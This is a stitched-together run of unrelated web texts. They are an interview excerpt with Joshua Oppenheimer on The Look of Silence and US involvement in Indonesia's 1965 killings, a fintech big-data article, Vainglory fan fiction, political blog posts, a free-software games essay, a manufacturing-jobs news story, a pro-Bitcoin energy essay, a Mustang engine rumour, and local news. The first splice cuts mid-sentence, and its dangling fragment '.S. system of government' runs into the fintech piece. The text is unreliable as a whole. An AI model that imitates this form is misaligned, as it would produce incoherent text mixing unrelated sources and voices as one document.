JOSHUA OPPENHEIMER: Yes, it began in secret, but by—once the media embraced the film, the screenings quickly became public. And by this point, when we were screening The Look of Silence for Adi’s family in Thailand, there had been thousands of public showings. We had already made the film available for free for all Indonesians online. It had been downloaded tens of millions of times.
AMY GOODMAN: And the government actually had showings?
JOSHUA OPPENHEIMER: Not of The Act of Killing, no.
AMY GOODMAN: No, no, of The Look of Silence.
JOSHUA OPPENHEIMER: The Look of Silence, and entered that space. And actually, it’s distributed by two government bodies: the National Human Rights Commission and the Jakarta Arts Council—something unimaginable if—were it not for The Act of Killing. The first screening in Jakarta was held in the largest theater in Indonesia. There were billboards around the city announcing the screening. Three thousand people turned up. The theater only could hold 1,500. They put on two screenings. Adi came for both and received a 15-minute standing ovation. The next month, the film came out across the country. On the first day, International Human Rights Day, there were 500 public screenings. And over the coming weeks, we reached 3,500 screenings. The film has prompted this national conversation now about how urgently truth and reconciliation and some form of justice are needed. The government has introduced a truth and reconciliation bill, woefully inadequate, but it’s a milestone, and it’s something for activists in the human rights community to try to improve.
In any case, because of all of this momentum, Adi’s family, upon seeing the film, said, “It must come out now. We’re ready to move to Europe.” The team in Indonesia said, “I think we can—if we can assemble a team and the resources to relocate the family to another part of Indonesia, that should be possible. We should be able to protect the family’s safety, because we think the new climate, in part opened by The Act of Killing, will be protective, and Adi will be seen by many as a national hero after the film comes out.” In fact, the first screening was on National Heroes Day and trending on Twitter in Indonesia. Indonesia is the largest Twitter-using country in the world. So, trending on Twitter, actually, around the world that day was “Today we have a new national hero, and his name is Adi.” And so, all of this meant that Adi’s family was able to move a few thousand kilometers from where they were from to another part of the country. They’re surrounded by a more supportive community of human rights lawyers, critical journalists, filmmakers, progressive politicians, all of whom are closely monitoring whatever threats there may be. But Adi’s family is OK.
AMY GOODMAN: But they’re not living where they—he grew up.
JOSHUA OPPENHEIMER: They’re not. And for a man who’s only trying to have forgiveness with his neighbors, it’s a sign of the extent to which Indonesia is not a democracy. A democracy, of course, requires rule of law. And the most powerful in Indonesia are not subject to the same laws as the weakest—as the weakest. And in that sense—and if there’s no rule of law, it’s not a democracy. We have the same problem, of course, here in the United States, maybe to a slightly lesser extent, that you don’t—and not only—not only that, the fact that—at the same—because of this lack of rule of law, you have a shadow state built around the military of oligarchs, of gangsters, of paramilitaries, who—and intelligence services, formally above the law. The military is immune to civilian law. If a military commander were to order the massacre of a whole village, he could not be put on trial in civilian courts. It would be—the military would have to convene its own tribunal for him, which means the military is beyond the law.
AMY GOODMAN: Which brings me to—back to the perpetrator, one of them, the one that Adi confronts, saying that “I am a product of the United States.” Talk more, for those who are not familiar with the history of Indonesia, the modern history of Indonesia, back to the ’60s, what the U.S. role was.
JOSHUA OPPENHEIMER: The United States provided aid, weapons, money to the military so that they could carry out this genocide. They may have been involved with masterminding or conspiring to create the events that were used as a trigger for the genocide, the excuse for the genocide, which was the murder of six army generals by other members of the armed forces. But those whatever—all of the CIA job documents pertaining to this period in Indonesia remain classified, and we’re pushing to have those released. Senator Tom Udall introduced a “sense of the Senate” resolution on the day of the film’s release in Indonesia, saying it’s time for the United States to declassify and to take responsibility for its role in these crimes and to declassify its records.
We know—what we already know is damning enough. We know that, for example, embassy officials were compiling lists of thousands of names of public—of public figures in Indonesia—U.S. Embassy officials—and handing these to the army and saying, “Kill everybody on these lists and check off the names as you go, and give the lists back to us when you’re done.” I spoke to one of those men, a man named Robert Martens, early in my journey here, and he talked about how this was crucial intelligence he was giving. But these were public figures. And the United States had already funded and trained the Indonesian army and advised the Indonesian army to be deployed into every village in the country, so they were useless for national defense. They were deployed for internal repression and mass murder. And if you are, like an octopus, with your tentacles, reaching into every village, of course you know—of course you know who a local public figure is—a journalist, an intellectual, a trade union leader—who might be opposed to the military government. So this wasn’t intelligence. This was incitement. This was saying—the United States saying, “Kill everybody. We want this new regime to stick. Kill every possible opponent.” The U.S. also provided the radios, deliberately, that allowed the—for the purpose of the military coordinating the massacres across the vast archipelago of 17,000 islands that Indonesia is.
And in The Look of Silence, we also see an NBC News report that celebrates the genocide, more or less, right afterwards. And we see, most chillingly, that Goodyear, a major multinational corporation, is on the rubber plantations, where they’re harvesting the latex for our tires and our condoms. Goodyear is using slave labor drawn from death camps to harvest their rubber. This is, of course, what German corporations did on the periphery of Auschwitz a mere 20 years earlier. But here it’s being broadcast on American TV and celebrated as good news, as a victory for freedom and democracy. It should give every viewer of The Look of Silence pause, leading us to wonder whether this was really done—whether the real reason for U.S. participation was the so-called—the struggle of the so-called free world against the communist world, or whether that was a ruse, a pretext, an excuse, for murderous corporate plunder.
AMY GOODMAN: And this was all about the rise of the U.S.-backed dictator Suharto.
JOSHUA OPPENHEIMER: That’s right. This is how Suharto came to power. And he remained in power for 35 years. And while in power, he—the U.S. continued to aid that government and to encourage further abuses, including the invasion and occupation of East Timor, which led to its own genocide, where a third of the population of East Timor was killed. This was all to the tune of billions and billions of dollars aid was showered upon the Suharto dictatorship. And that aid started flowing while the rivers were still choked with bodies.
AMY GOODMAN: So, I want to end with two points. One is what happens with the crew who made this film, that you work with. But first, the very touching scene where Adi is talking to his son, and you see his son in school, and what his children are learning today.
JOSHUA OPPENHEIMER: Still in Indonesia when we shot the film, and it’s maybe starting to change as a result of the film, but still in Indonesia, the government teaches the students, teaches children, that the genocide was heroic, something to be—was the heroic extermination of the Indonesian left, and that the victims were sort of monstrous and deserved what they got, and the perpetrators were heroes. And you see Adi’s young son hearing this and hearing that because—that the relatives, the grandchildren of victims shouldn’t be allowed decent employment, that they shouldn’t be allowed to join the police or get a job in the government, or that they have to be monitored closely, because their grandparents were these terrible people. And we see this stigma being passed on from generation to generation. And, of course, we see essentially the soil being sown for the genocide’s recurrence. In the film, we hear again and again, “Let the past be past.” But survivors always say it out of fear, and perpetrators always say it as a threat, which means the past is not past, it’s right there. It’s open. It’s a gaping wound. And what’s keeping it alive is, of course, the teaching of propaganda in the schools.
And Adi, in many ways, responded to that, the unbearable sense that his children were being stigmatized for their own family’s oppression—something that we know all too well in this country, with our own—with our unresolved histories of—the unresolved wounds of race and the Native American genocide. We are—this should not be seen as something unfamiliar to us. And, of course, American—insofar as this is America’s genocide, too, this is also part of our history. If America is an empire, what goes on in the far-flung corners of America has everything to do with our life at home and the consumer economy that we perhaps are at least told we should be enjoying at home. So, this is about all of |
.S. system of government.The financial services sector has been traditionally a data-rich industry. With the enormous amount of data generated by different sources, Fin-Tech Industry is now in need of Big Data technologies more than ever (who isn’t?). Big data has opened a new passage to fin-tech with cutting-edge technologies such as innovative equity platforms based on crowd funding; data visualization tools to follow customers; new payment systems based on mobile and cloud technologies.
This joining of forces has given fin-tech industry the opportunity to improve customer intelligence, reduce risk and predict fraud while delivering better services with lower costs. In this article, we will outline some of the most common use cases of big data in fin-tech industry;
Customer Retention and Acquisition
One very important area where Big Data analytics has been used successfully is for customer retention and acquisition. This involves analyzing data, and targeting promotional spending using machine learning algorithms.
Big data insights and analysis enables fin-tech companies to correlate customer profile data, purchase history, and customer behavior on social media sites to offer related promotions. For example, when a customer makes a number of transactions at Nike and likes the sports related pages on social networks, the company could send a credit card with a special promotion applicable in sports stores.
Credit Scoring
For years, credit scores were provided based on basic financial transactions (like repayment history). Big data introduced innovative scoring models and new sources to the fin-tech industry like customer behavior. Based on a richer set of data from social networks, it is now possible to achieve a higher acceptance rate, while sustaining lower default rates.
Gaining Wider Public Opinion About the Industry
Public opinions are becoming very popular in every industry. Aggregating and analyzing all this data generated from various and increasing amount of sources become more complex. Therefore fin-tech companies are using Sentiment Analysis to gain public opinions about their companies, industry or the whole economy. In fact, Finextra.com claims that some hedge funds are basing their entire strategies on trading signals generated by Twitter analytics. While this might be an uncommon example, sentiment analysis are often being used for looking for economic indicators, seeing the relations between other participants, specific market indicators, or sentiments concerning a specific company or its stocks.
Fraud
Undetected fraud costs the credit companies billions of dollars each year (Fraud costs credit card issuers approximately $10 billion per year and is only detected at a 40% rate). As an example, Citi Group is correlating data from multiple, unrelated and various sources which they believe that it has the potential to catch fraudulent activities earlier than current methods. For instance they are correlating Point of Sale data with web behavior analysis (internally or externally), and cross-examine it with other financial institutions or service providers such as First Data or SWIFT. They claim that this doesn’t only improve fraud detection, but also decreases the number of false positives.
EDW (Enterprise Data Warehouse) Optimization
Traditional EDWs were not cost-effective and were time consuming regarding to data preparation, analysis and cleansing. Big data analytics solutions allow you to scale, integrate, analyze any volume of data and store all data types together cost effectively. In addition, you can clean, match, profile, enrich and aggregate huge amounts of data.
Citi Group also confirms, their Platforming Costs have been driven down due to the move towards Big Data horizontal architecture. “Big Data also offers a price point where we can store as well as analyze the data. We are a global company with an incredible amount of assets that are valuable to our business. And we can now store them at an expense point that makes them analytically beneficial to us at their most granular level” (Michael Simone, the Managing Director of Data Platform Engineering at Citigroup)
Risk Management and Strategy Development
Another common use case is using predictive analytics for risk management and strategy development. A real use case example for predictive analytics in risk management is: A financial services company wanted to comprehend the client behaviors that have the possibility to move/withdraw their funds. They also want to identify specific behaviors of the customers who might consider moving their assets. Using predictive analytics, the company first integrated data of such customer activities such as; a change in address, or power of attorney; or the client had recently been browsing on the company site for forms. They pulled multiple data sources together to build out activity paths for each client. For instance, they tracked clients’ specific activities and identified whether these activities led to a transfer or withdrawal. By correlating this data, they were able to determine the statistical relevance of each activity, or combination of activities that predicted customer churn.
We can see data science and complex machine-learning algorithms leverage big data analytics in fin-tech industry. Detecting and preventing fraud, determining customer behavior, gaining more insights about the industry and reducing costs could lead fin-tech companies to develop innovative data-driven-solutions and services to have a competitive edge.Amid the torrent of a late game team fight around Kraken, Jeff and Marty pop into existence once again. They shake off the trauma of yet another horrible demise and turn to watch the powerful heroes battle for what very well be “GG”. Marty nudges his friend with a fat elbow.
Marty– Just wanted to say, Merry Christmas.
Jeff (incredulous)- Are you serious?
Marty– What?
Jeff– I’m going to skip the part where neither of us have any religious convictions and go right to “What the churn do we have to be merry about?”
Celeste on team orange dies. Ardan on team blue Gauntlets orange Taka and Catherine. Ringo and Krul focus Catherine after Taka boxes.
Marty– You know, tis the season.
Jeff– That’s not an argument, Marty. This year has been an unending nightmare.
Marty– I think it’s exciting, so many new faces around the Fold.
Jeff– Yes, great! More heartless murder machines with creative ways to make us suffer!
Catherine falls. Ringo rotates to lane.
Marty– I think you’re looking at this wrong.
Jeff– Am I? Because it feels like I’m the only one here that has any idea what’s really happening. You and I are near worthless blips in the bigger picture that is Vainglory.
The blue team finishes off orange. Krul and Ardan chasing down Taka for the Ace. Ardan heads up to push lane.
Marty– But we get to be at every major tournament for free, and we get killed by the best players in the world!
Jeff– You have a twisted sense of purpose. That’s not an honor, no one cares about us, Marty.
Marty (throwing up his hands) Okay, that’s it, I’m done with this.
Jeff– With what?
Marty– With us, you’re nothing but unpleasant. All my feelings and opinions are stupid to you. I’m sick of being the Marv to your Harry.
Jeff– Wait, who are they?
Marty– The Wet Bandits. Not that you’d know, because Home Alone is a Christmas movie and you’re abstaining from any form of cheer it seems.
Jeff– Marty, I just don’t feel that–
Marty– You’re not as perceptive as you think, you know that? Did you even consider that we’ve been nerfed twice this year? That’s one more than Ardan and only 32 times less than Vox. Why did that happen? Because we were a factor in teams winning. Us. If they killed us first, they had a better chance of winning the whole game. How’s that for worthless?
They stand in tense silence as Krul solos the Kraken.
Jeff-That’s pretty cool.
Marty– I don’t want sarcasm right now.
Jeff– No, really! You’re right, we do matter around here. Look, I’m sorry. Sometimes I just get stuck in a rut and I think I take it out on you.
Marty– You definitely do.
Jeff– And I’ve gotta work on myself more and be a little appreciative. Honestly, there’s nobody I’d rather get killed with. (Holds up a fist for bumping) We cool?
Marty bumps it. He makes sure the coast is clear and pulls a wrapped gift out of the brush and hands it to Jeff.
Jeff– What’s this?
Marty– Whether or not you believe in Christmas, here’s your gift.
Jeff opens the box and pulls out a Sorrowblade.
Jeff- How’d did you…
Marty- I owe the shopkeeper my first born.
Jeff– Thanks, man. Really, it’s just perfect. I feel bad though, I didn’t get you anything.
Krul comes rushing over to get some last minute farm before the big push.
Marty- Tell you what, get a few hits in on “dusty” there and that’ll be all the gift I need.
Jeff (beaming)- Merry Christmas, Marty.
Jeff hefts his Sorrowblade and charges Krul with a bizarre battle cry. Krul is taken aback momentarily, then shrugs and hurls his sword at the creep. Jeff is stunned, rushed, and rendered a helpless pile of orange for Krul to build stacks upon. A fantastic smite finishes Jeff, sending him once again to the great beyond and leaving Krul completely unharmed.
Marty (wiping away a tear)- It’s the thought that counts.
**Note**– Thank you so much for reading and supporting this nonsense for the past six months! I’m very fortunate to have Team BrokenMyth as friends and an outlet for my “lore”. I look forward to writing much more in the coming year. Have a happy and safe holiday and keep being the most fantastic community I’ve had the pleasure to be a part of! (I know you will)Pandagon is daily opinion blog covering feminism, politics, and pop culture. Come for the politics, stay for the complete lack of patience for the B.S. and bad faith coming from conservative leaders and pundits.
Why now? That was the question that I decided to answer when I set out to write this speech for this year’s Skepticon about the religious right’s war on women, which—in case you haven’t noticed—has been turned up dramatically in recent years. I’ve done a lot of written and spoken work chronicling the war on women in that time, but it was nice to have an opportunity to stand before a pro-secular audience and talk about why.
The why, I think, is not immediately obvious. I mean, we all get why the religious right wants to take away women’s rights and pressure women to return to the status of second class citizens, because, for the men who run the religious right, being superior is its own reward. That, and you get to have children without changing diapers. But why are they all fired up about it right now? My theory is, in part, that it’s because of Barack Obama, and not just because women elected him. As I state in the speech, Obama’s election is a crisis moment for the religious right because it makes it pretty much impossible for them to maintain the illusion that they are the dominant culture in American society. If a black man with a “Muslim” name can be President, then the alarming possibility arises that they not only are losing their control of this country, but that it might actually all be over already and the secularists, feminists, and anti-racists have won. So they’re lashing out and trying to reassert authority in the best way they know how, but intensifying claims of ownership over women. This isn’t just conjecture. You’ll see in the video that right wingers speak regularly as if the end of our country were near, and then use that claim to support arguments for undermining women’s rights.
That it’s gotten more intense, I believe, is indisputable after watching that video. I made a point to barely talk about abortion but focus on all the other battles. Not that I don’t think abortion is an important issue—it is—but because it’s easy to get distracted by disingenuous claims that conservatives oppose it on the grounds of “life”. But the discourse about women and their lives coming from the right has grown beyond just hand-wringing over fetuses. Just today, for instance, we got to enjoy Fox News do a segment where women were straight up told that it’s impossible to have a husband and a full time job. Perhaps this clip will go into the talk the next time I give it. Anyway, enjoy the talk and the clips and my love of talking with my hands. And check out the rest of the talks at Skepticon, most of which were delightful.[oldembed src="https://www.youtube.com/embed/qNpLm0Lk0UA" width="425" height="319" resize="1" fid="21"]
This is one of the most frustrating things for me as a Democrat: The problems of poverty have simply disappeared from the national political discussion. It's not as if we don't have poor people anymore, right? Obviously, the topic doesn't test well in focus groups, or we'd hear about it. But what does this say about the party's historic claim to protect the poor and needy? Not too much, I'm afraid. Thomas B. Edsall, a professor of journalism at Columbia University, writes:
Underneath the statistics, hidden behind the desolation of the poor in the poorest big city in the United States, lies one of most intractable political dilemmas of our era: Can the Democratic party, the party of the left, address issues of poverty and want in today’s political environment? For example, can they talk about hunger?
Hunger has grown sharply since the financial collapse of 2008, although it is felt acutely by a relatively small percentage of the population. In 2007, 12.2 percent of Americans experienced what the Department of Agriculture describes as “low food security,” including 4 percent who fell into the category of very low food security. By 2011, the percentage of those coping with low food security rose to 16.4 percent, and those experiencing very low food security went up to 5.5 percent.
The U.S.D.A. defines “low food security” as a lack of access “at all times to enough nutritious food for an active, healthy life.” It defines “very low food security” as individuals going without or with very little food “at times during the year because the household lacked money and other resources for food.”
Looked at through the calculus of contemporary partisan politics, the U.S.D.A. data demonstrates that in 2011 low food security was a problem for just under one in eight whites — a matter of concern but for many white voters, a virtually invisible issue. Very low food security affects the lives of only one in 24 whites.For African Americans, low food security is a problem affecting one in four, and one in ten experience very low food security. The percentage of Hispanics who experience low food security is higher than the percentage of blacks, although the percentage of Hispanics suffering very low food security is slightly lower.
[...] The issue of hunger sheds light on the broader politics of poverty.
Democrats have concluded that getting enough votes on Nov. 6 precludes taking policy positions that alienate middle-class whites. In practice this means that on the campaign trail there is an absence of explicit references to the poor — and we didn’t hear much about them at the Democratic National Convention either.
Republicans, in turn, see taking a decisive majority of white votes as their best chance of winning the presidency. The 2012 electorate is likely to be 72% white, according to a number of analyses. In this scenario, Republicans need to get at least 62 percent of the white vote to win, and Democrats need to get 38 percent or more of the white vote.
Elijah Anderson, a sociologist at Yale and the author of several highly praised books about race and urban America, including “The Cosmopolitan Canopy,” organized the symposium. When I asked him about the Democrats’ problems in addressing poverty, Anderson wrote back in an email:
Apparently, the Republicans have backed the Democrats, and President Obama in particular, into the proverbial racial corner. It is a supreme irony that Obama, the nation’s first African-American President, finds himself unable to advocate for truly disadvantaged blacks, or even to speak out forthrightly on racial issues. To do so is to risk alienating white conservative voters, who are more than ready to scream, “we told you so,” that Obama is for “the blacks.” But it is not just the potential white voters, but the political pundits who quickly draw attention to such actions, slanting their stories to stir up racial resentment. Strikingly, blacks most often understand President Obama’s problems politically, and continue to vote for him, understanding the game full well, that Obama is doing the “best he can” in what is clearly a “deeply racist society.” It’s a conundrum.
The issue of race helps to explain another development in academia as well as in the public debate: the near abandonment of the once powerful tradition of exposing the exploitation of the poor.I can not completely follow Richard Stallman's strict software methodologies, but I generally agree with him. I try to use free software whenever it provides a similar feature set to proprietary software. Instead of Google Chrome I use Chromium. In place of Adobe Illustrator I use Inkscape (which is a more recent switch I've made).
There is a segment of computing that has no free software alternatives. A freely-licensed video game is a unicorn in the industry. Considering how video games are art, this is especially sad. A cursory search shows no results for free software on Steam. The only freely-licensed games I could find are the likes of tuxracer and freedoom.
This seems to be an odd contrast to the strong influx of DRM-free games produced by indie game developers. I'm glad that many video game developers are fighting the malicious pattern of DRM-infested, always-online games many AAA developers are releasing. But when you're no longer enforcing your distribution methods through software, why not also empower your end users even further by freely licensing your game?
I sympathize with developers who have poured their lives into their games. It would be scary to not just remove software protections, but also legal protections against copying of their software. However, indie game developers rarely if ever sue pirates who steal their games. In fact, with or without DRM in place people will pirate video games that are popular. At that point what is to be lost by giving users of the game the essential software freedoms?
Piracy is always an option. The only thing holding someone back from getting a game for free is the convenience of a platform like Steam and their conscience. Both of those would remain with a freely licensed video game.
Were someone to freely-license a video game and release it on Steam/GOG they would receive a significant amount of support from the free software community. FOSS zealots like myself would likely pay for the game regardless of our interest in its content.
Were I to license a game I'd made, I would make use of the Apache license. It grants users of the product access to the source code and the right to adapt and change it. But the license also protects the creator's trademarks. In the case of a video game this means its title and logo are secure. Were someone to fork the game they would not be able to keep their fork under the original title. This avoids potential confusion.
As a measure against outright clones of a game the developers could also license their auditory and visual assets under a license granting only non-commercial use to others.Manufacturing jobs on the rise As many as 3K jobs may open in Madison County
Madison County Board Chairman Alan Dunstan talks about the need for vocational training for the numerous industries still operating in Madison County and surrounding counties. Most of the jobs pay a living wage, benefits and can require only a minimal amount of formal education beyond high school. less Madison County Board Chairman Alan Dunstan talks about the need for vocational training for the numerous industries still operating in Madison County and surrounding counties. Most of the jobs pay a living... more Image 1 of / 3 Caption Close Manufacturing jobs on the rise 1 / 3 Back to Gallery
ALTON —Nearly 3,000 jobs will be opening in the manufacturing sector of Southwestern Illinois in the next five years, and businesses are worried they will be unable to fill them.
Those openings will be caused by retirements and business expansions. To fill them, county workforce investment boards and their business partners launched a new campaign at Cope Plastics, 4441 Industrial Dr., to link high school students to these jobs. Many of these positions are high-paying with generous benefits while requiring no four-year degree to work.
The campaign is called “Manufacture Your Future,” or alternately, “Craft Your Future.” Its focus is marketing the high-tech job prospects of local manufacturing to high school students, teachers and counselors.
“Manufacturing in Madison County is very, very important,” Madison County Board Chairman Alan Dunstan said in his speech at the event. “It’s the future. We think there will be a lot of expansion in the future.”
Dunstan said he would work with Madison County Regional Supt. Dr. Robert Daiber to better implement the campaign into schools within the county. Daiber, who was also in attendence, agreed schools need to focus more on what careers students want instead of leading them toward a four-year-degree-only future.
“Some of the schools have strong manufacturing programs in place already,” he said. “Alton and Triad have especially good ones. Alton even has an internship here at Cope Plastics where kids can learn on the job. What we need to do at this juncture is make sure we get the resources to the school to make sure kids know what they need to do to get a job.”
During a speech by SunCoke Energy’s General Manager Don Vichitvongsa, Vichitvongsa spoke about students needing only a high school diploma or an equivalent to receive entry-level positions in manufacturing. From there, he said workers can receive higher degrees and certifications fully expensed by their company. He added many people working in manufacturing make upwards of $33 an hour with $22 an hour worth of benefits, which is higher than the national average.
After his speech, Vichitvongsa told the Telegraph such wages are possible due to the level of technology utilized by the manufacturing companies. He said some workers at his facility use devices similar to tablets and joysticks to operate machinery.
“It’s not just shovel and hand or hammer and hand anymore,” he said. “We need math and training up to that level.”
When asked if the many positions may or may not be filled by robots in the future, Vichitvongsa said robotics were already essential in manufacturing.
“These machines are somewhat like robots now, but we’ll still need people to take care of the robots,” he said. “We’ll still need people to operate them and fix their gears when they stop spinning.”
He said the manufacturing work done in Southwestern Illinois benefits not only the local and regional economies, but the global market as well.
“Our goal is to make it here and ship it everywhere,” he said.
The campaign was conceived by the Madison-Bond and MidAmerica workforce investment boards, the Leadership Council Southwestern Illinois’ Manufacturing Steering Committee, which includes members of the two workforce investment boards as well as local manufacturers and employers such as Phillips 66, SunCoke Energy, U.S. Steel, Olin Corporation, Dynegy, Progressive Recovery Inc., Metro East Industries, Affton Chemical, the ROHO Group, America’s Central Port and Wertz Welding. Members of the Southwestern Illinois Building and Construction Trades Council, Southwestern Illinois College and Lewis and Clark Community College also serve on the committee.
More information can be found at www.wellpaid.info or by calling (844)-well-paid.
Reporter Cory Davenport can be reached at (618) 208-6447 or on Twitter @CoryTelegraphs.The "ridiculously wasteful, malignant, guzzling" of electricity usage by Bitcoin miners is "illegally siphoning power, causing country-wide blackouts, not remotely sustainable, and is ruining the planet."
"By July 2019, the Bitcoin network will require more electricity than the entire United States currently uses. By February 2020, it will use as much electricity as the entire world does today." - Business Insider
OMFG run for your lives, Bitcoin will kill us all! But wait, before we all go running for the nearest fallout shelter, let's just examine for a minute if there's any truth behind these claims. Will Bitcoin really boil the oceans? Unsurprisingly, upon conducting a most basic investigation of the above headlines, the majority turn out to be nothing more than specious defamation, propagated by click-baiters (at best), fear-mongers (at large), and outright liars (at worst; yes ).
That being said, a few of these articles do cite some apparently legitimate statistics regarding the energy consumption of Bitcoin miners: e.g. "Bitcoin [is] about 5,033 times more energy intensive, per transaction, than VISA, at current usage levels," "each Bitcoin transaction requires the same amount of energy used to power nine homes in the U.S. for one day," and "Bitcoin mining now consuming more electricity than 159 countries including Ireland and most countries in Africa."
While there are some fairly large assumptions made above, a few of the statistics seem to be backed by reliable data and calculations and must be taken seriously. This generation must fearlessly undertake an all-inclusive accounting of the environmental impact that our modern civilization has on the biosphere and take immediate action to reverse those adverse impacts.
In order to create a sustainable future for our planet, it's absolutely vital that we stop paying attention to economic bottom lines only. Instead, we ought to hold all socioeconomic entities to positive triple bottom lines, those being economic, social and environmental. Furthermore, we ought to insist that all human institutions maintain a positive triple bottom line. One of the most important tools we can implement in this process is the Life Cycle Analysis (LCA).
LCAs require much deeper and far-reaching analysis than is currently required by existing systems of financial accounting, where the primary concern is the potential financial gain of shareholders above all else. In addition to such accounting systems' narrow and naive focus on shareholders' profits, a triple bottom line LCA includes global environmental, social, and economic impacts across the entire life-cycle of the subject of focus. For example, the environmental and socioeconomic portions of an LCA may include (but are not limited to) the following concerns:
energy, material, and living inputs and energy, material, and living outputs involved over the course of the product's entire life-cycle e.g. mining of raw materials, transportation, refining, manufacturing, point of sale, usable lifetime, recycling, disposal of waste products, etc.
physical, mental, and social impact on the well-being of all life forms impacted by the product over the course of its entire life-cycle e.g. plants, animals, locals, producers, manufacturers, sellers, consumers, recyclers, disposers, any third parties, etc.
Going to the effort of carefully, honestly, transparently, and inclusively creating such LCAs is no trivial task; however, the importance of such thorough analysis increases in step with humanity's increasing power to affect the Earth's chemical, geological, biological, and social systems.
Unfortunately, I myself lack the resources to undertake such a comprehensive triple bottom line LCA for the Bitcoin mining and legacy financial industries. But after a fairly lengthy search, I did finally come across a rather detailed series of analysis written by Hass McCook and published on CoinDesk, in 2014. I highly recommend reading through this five part series if you are interested in a comprehensive comparison of Bitcoin mining to the existing gold production, fiat minting, and banking industries. Otherwise, here are Hass McCook's compiled data tables for his triple bottom line comparisons of the industries:
Additionally, here is the tl;dr version of some other relevant information I came across during my own research:
Note: I've omitted gold production, because despite its usefulness as a benchmark, it is not in direct competition with Bitcoin unlike the fiat minting and banking systems.
Fiat Minting
Banking
Bitcoin Mining
"Now, Bitcoin is an environmental subsidy to alternative energy all around the world because it's causing these projects to be amortized over a year instead of five. Oh you're telling me we were running a green coin all this time and I didn't even notice!?... The decentralization of Bitcoin is driving the decentralization of energy production, which is one of the most important trends in human history... The level of security that we have for Bitcoin today is a level of security that can handle global attacks by colluding nation states: that's the level of security that is needed for this system to remain censorship resistant. But if the system was 10 times bigger with 10 times more users, it doesn't need 10 times more mining. It already has globally secure mining: what we have is enough. There's a profit motive that drives it. But it's a mistake to think that if we go global that cost will multiply; quite the opposite in fact. Over time the reward for mining decreases, and as a result, it's more likely that we'll see that gradually taper off and plateau." — Andreas Antonopoulos
Provided the overwhelming evidence above, it should be abundantly clear that Bitcoin's triple bottom lines are in a class all their own when compared against the tremendously inefficient, costly, bloated, dirty, corrupt, thieving, criminal, and all-too-often blood-soaked legacy institutions of gold, fiat, and banking. In accordance with its founding principles, Bitcoin will sweep aside the curtains, open wide the gates, shine a light in the dark places, and drive the money-changers from the temple! The day of reckoning cometh...View Photos Chris Doane Automotive, Roy Ritchie, and the Manufacturer
With hints and rumors swirling that Ford’s upcoming Mustang GT350 will get a modified version of the regular Mustang GT’s 5.0-liter V-8 using a flat-plane crankshaft, you can bet enthusiasts watching the car’s gestation are hot with anticipation. We’ve spotted the car testing —and, sometimes, spinning on the Nürburgring —but details on the car’s so-called “Voodoo” engine have been elusive. Now forum members over at Mustang6G.com have uncovered what appears to be conclusive proof of the GT350’s engine size and natural aspiration.
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Chris Doane Automotive, Roy Ritchie, and the Manufacturer
Forum members found a few random items in Ford’s online replacement-parts catalog that are listed for a mystery Mustang with a 5.2-liter V-8. Currently no such engine exists in the Mustang portfolio; the 2015 model offers a 3.7-liter V-6, a turbocharged 2.3-liter four, and a 5.0-liter V-8. The Shelby GT500 model that’s expected to return sometime soon will carry over its supercharged 5.8-liter V-8. The parts relating to the 5.2-liter in question are labeled “5.2L TiVCT PFI NA HP1 GAS.” Not sure what that gibberish means? The important pieces are the “gas” bit—shocker, it won’t be a diesel—and the “NA” part, which indicates this is a naturally aspirated engine. Note how the 2.3-liter EcoBoost model’s brake-master-cylinder description field includes “TC,” for turbocharged.
Chris Doane Automotive, Roy Ritchie, and the Manufacturer
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Sadly, none of the parts are of the go-fast variety, nor do they shed any extra light on the 2016 GT350. One catalog entry is for a brake master cylinder, while the other is a front-quarter-panel insulator. Neither exactly breaks the GT350—if that’s indeed what these 5.2-liter parts are for—wide open. As expected, the parts’ descriptions lack critical information such as horsepower and torque figures, GT350 pricing and availability, or even audio of that flat-plane-crank V-8 at full wail. Sigh.A- A+
Triplicate Staff
The Triplicate was briefly allowed inside the mind of a burl thief this week when convicted redwood burl hacker Danny Garcia opened up to reporter Aaron West in a phone interview on Monday.
Garcia, who was arrested last May and charged with felony vandalism for what he and fellow Orick-resident Larry Morrow did to an old growth redwood tree with a chainsaw, explained to the Triplicate his motivation, his process, and his guilt. Part of what he said ran in Monday's "Bill takes swing at poachers" story, but some of the rest can be found here.
"I needed money to pay my bills - I was unemployed at the time," Garcia said about why he hacked, stole and sold the 10 foot by 9 foot redwood burl to a local wood shop for $1,600. "I go through the woods a lot, trumping around through the brush, and there was an opportunity there. I didn't have money at the time, and I needed the money."
Now Garcia isn't allowed on state or national park land for four years, with or without a chainsaw, which he happened to have with him on a certain evening in May.
"I did it with a chainsaw, a big chainsaw," Garcia said, noting that the theft of course took place at night. "You can't do nothing like that in the middle of the day. It was nighttime, and it was a mistake on my part. I cut (the burl) down to size, and I had to pack it out by hand. It took a few days and they said I had to have used heavy equipment, but I did it by hand, I didn't use heavy equipment."
Garcia opines that Orick, where he still lives, offers little employment opportunity and that with the parks cracking down on wood salvaging from local beaches, the few money-making opportunities that were left are dwindling still.
"I can't get a job to save my life in this community," he said. "Just working on vehicles and painting. My friends keep me busy, but as far as going out and getting a legit job, it's almost impossible."
He also said that, having grown up in Orick surrounded by park land and redwoods, he sometimes thinks about his crime and what it did to the tree.
"As far as the damage it does to (the trees), I do and I don't think about it. It's always in the back of your mind," Garcia said. "There's a lot of them out there, and I don't feel it's right what I did, but then again it's not hurting the tree as much as they say it is. I think about it and it didn't kill the tree, that tree ain't dead."
Most of all, Garcia said, he just wishes to put the past behind him, and also to set the record straight. He said that law enforcement and the media painted a negative picture of him when the burl-stealing incident went down, without getting his side of the story.
"I didn't do any of it for the purpose of funding drugs, and I'm not the best person in the world, but I'm not the worst either," Garcia said. "They've made me out to be the worst, and it bothers me."
- Aaron West
No skate like home
The North Coast Roller Derby will be saying goodbye to its captain and one of its original members at season's end.
On Monday, captain Danielle "Ragin' Reg" Arispe told her Tsunami Sirens teammates that her job with Rogue Credit Union presented an opportunity to move to Medford, which she will do with husband Joe "Sloppy Joe" Arispe, who works as a commercial fisherman in Crescent City.
"We are just going to go make a new adventure of it," Ragin' Reg said. "It is hard to leave my team, though."
Ragin' Reg said she expects that they will be moving sometime over the summer, perhaps before the end of the Sirens season. Ragin' Reg has no intention of leaving the team early, however.
"I am going absolutely going to skate the rest of the season as a Siren. Even if I move before the year's done I will make the drive back," Ragin' Reg said. "It is going to be a special rest of the season for me. I skate for a lot of different teams, but there is nothing like skating here for my hometown crowd. There is nothing like going into the grocery store and hearing someone yell, 'Ragin' Reg!' I am going to cherish every moment of it."
- Michael Zogg
Profits and losses at SCH
